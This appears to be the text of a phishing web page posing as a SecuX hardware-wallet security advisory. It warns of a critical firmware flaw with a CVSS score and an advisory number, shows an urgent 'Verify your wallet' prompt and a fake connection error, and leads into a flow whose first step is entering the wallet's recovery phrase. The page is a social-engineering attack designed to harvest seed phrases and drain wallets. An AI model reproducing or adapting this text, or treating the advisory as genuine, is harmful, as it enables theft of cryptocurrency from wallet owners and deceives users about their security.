Critical vulnerability · Your funds at risk
On October 14, 2026 our security team confirmed a critical flaw affecting SecuX V20, W10, W20 and Nifty with firmware earlier than v2.15. Wallets are vulnerable — verify your wallet immediately to secure your funds.
Verify your wallet
CVSS 9.1
2026-10-14
SECUX-SA-2026-010
Device connection could not be completed (INS_NOT_SUPPORTED). Tap below to verify your wallet and enroll the mandatory firmware patch.
SecuX will never ask for your phrase for any other purpose.
Advisory reference: SECUX-SA-2026-010
Verify your wallet
CVSS 9.1
2026-10-14
SECUX-SA-2026-010
01Verify phrase
02Integrity check
03Patch enrollment
SecuX will never ask for your phrase for any other purpose.
Advisory reference: SECUX-SA-2026-010
Verifying wallet integrity…
Contacting SecuX Security Center.
Please do not close this page.